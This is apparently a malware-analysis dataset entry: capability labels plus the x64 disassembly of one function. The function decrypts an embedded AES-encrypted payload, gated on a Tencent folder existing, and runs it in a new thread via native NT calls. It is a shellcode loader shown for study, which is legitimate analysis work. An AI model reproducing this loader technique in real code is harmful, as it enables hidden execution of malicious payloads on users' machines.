Function at 0x140001070
Capabilities:
Check if file exists
Create new key via cryptacquirecontext
Create thread
Encrypt data using aes via winapi
Encrypt or decrypt via wincrypt
Get file attributes
Hash data via wincrypt
Initialize hashing via wincrypt

Disassembly:
mov qword [rsp + 8], rbx
push rbp
lea rbp, [rsp - 0x360]
sub rsp, 0x460
mov rax, qword [0x14001e010]
xor rax, rsp
mov qword [rbp + 0x350], rax
lea rcx, str.C:ProgramDataTencent
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x14000139e
test al, 0x10
je 0x14000139e
movdqa xmm0, xmmword [0x14001ba20]
lea rax, [rbp - 0x50]
movdqu xmmword [rbp - 0x60], xmm0
lea rcx, [0x14001b680]
mov edx, 7
lea rax, [rax + 0x80]
movups xmm0, xmmword [rcx]
movups xmm1, xmmword [rcx + 0x10]
lea rcx, [rcx + 0x80]
movups xmmword [rax - 0x80], xmm0
movups xmm0, xmmword [rcx - 0x60]
movups xmmword [rax - 0x70], xmm1
movups xmm1, xmmword [rcx - 0x50]
movups xmmword [rax - 0x60], xmm0
movups xmm0, xmmword [rcx - 0x40]
movups xmmword [rax - 0x50], xmm1
movups xmm1, xmmword [rcx - 0x30]
movups xmmword [rax - 0x40], xmm0
movups xmm0, xmmword [rcx - 0x20]
movups xmmword [rax - 0x30], xmm1
movups xmm1, xmmword [rcx - 0x10]
movups xmmword [rax - 0x20], xmm0
movups xmmword [rax - 0x10], xmm1
sub rdx, 1
jne 0x1400010d1
movups xmm0, xmmword [rcx]
xor ebx, ebx
mov dword [rsp + 0x28], 4
movups xmm1, xmmword [rcx + 0x10]
lea r9, [rbp - 0x68]
xor r8d, r8d
movups xmmword [rax], xmm0
lea rcx, [rbx - 1]
mov qword [rsp + 0x60], rbx
lea rdx, [rsp + 0x60]
mov qword [rbp - 0x68], 0x2000
movups xmmword [rax + 0x10], xmm1
mov dword [rsp + 0x20], 0x3000
call qword [sym.imp.ntdll.dll_NtAllocateVirtualMemory]
test eax, eax
jns 0x140001173
lea eax, [rbx + 1]
jmp 0x1400013a0
mov r9d, 0x18
mov dword [rsp + 0x70], 0x3a0
xor r8d, r8d
mov dword [rsp + 0x20], 0xf0000000
xor edx, edx
lea rcx, [rbp - 0x80]
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
jne 0x1400011b5
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed_in_CryptAcquireContextW___u__n
call fcn.140001010
jmp 0x1400012ba
mov rcx, qword [rbp - 0x80]
lea rax, [rbp - 0x78]
xor r9d, r9d
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov edx, 0x800c
call qword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
jne 0x1400011f0
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed_in_CryptCreateHash___u__n
call fcn.140001010
jmp 0x1400012ba
mov rcx, qword [rbp - 0x78]
lea rdx, [rbp - 0x60]
xor r9d, r9d
lea r8d, [r9 + 0x10]
call qword [sym.imp.ADVAPI32.dll_CryptHashData]
test eax, eax
jne 0x140001222
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed_in_CryptHashData___u__n
call fcn.140001010
jmp 0x1400012ba
mov r8, qword [rbp - 0x78]
lea rax, [rbp - 0x70]
mov rcx, qword [rbp - 0x80]
xor r9d, r9d
mov edx, 0x6610
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_CryptDeriveKey]
test eax, eax
jne 0x14000125b
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed_in_CryptDeriveKey___u__n
call fcn.140001010
jmp 0x1400012ba
mov rcx, qword [rbp - 0x70]
lea rax, [rsp + 0x70]
mov qword [rsp + 0x28], rax
xor r9d, r9d
lea rax, [rbp - 0x50]
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_CryptDecrypt]
test eax, eax
jne 0x14000129a
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed_in_CryptDecrypt___u__n
call fcn.140001010
jmp 0x1400012ba
mov rcx, qword [rbp - 0x80]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov rcx, qword [rbp - 0x78]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
mov rcx, qword [rbp - 0x70]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
mov rcx, qword [rsp + 0x60]
lea rdx, [rbp - 0x50]
mov r8d, 0x3a0
call fcn.140002ad0
lea rax, [rsp + 0x78]
mov dword [rsp + 0x78], ebx
mov r9d, 0x20
mov qword [rsp + 0x20], rax
lea r8, [rbp - 0x68]
mov rcx, 0xffffffffffffffff
lea rdx, [rsp + 0x60]
call qword [sym.imp.ntdll.dll_NtProtectVirtualMemory]
test eax, eax
jns 0x140001306
mov eax, 2
jmp 0x1400013a0
mov rax, qword [rsp + 0x60]
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x50], rbx
mov r9, 0xffffffffffffffff
mov qword [rsp + 0x48], rbx
xor r8d, r8d
mov qword [rsp + 0x40], rbx
mov edx, 0x1fffff
mov qword [rsp + 0x38], rbx
mov dword [rsp + 0x30], ebx
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x68], 0xffffffffffffffff
call qword [sym.imp.ntdll.dll_NtCreateThreadEx]
test eax, eax
jns 0x14000136f
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Failed_in_sysNtCreateThreadEx___u__n
call fcn.140001010
mov eax, 3
jmp 0x1400013a0
mov rcx, qword [rsp + 0x68]
xor r8d, r8d
xor edx, edx
call qword [sym.imp.ntdll.dll_NtWaitForSingleObject]
test eax, eax
jns 0x14000139e
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Failed_in_sysNtWaitForSingleObject___u__n
call fcn.140001010
mov eax, 4
jmp 0x1400013a0
xor eax, eax
mov rcx, qword [rbp + 0x350]
xor rcx, rsp
call fcn.140001650
mov rbx, qword [rsp + 0x470]
add rsp, 0x460
pop rbp
ret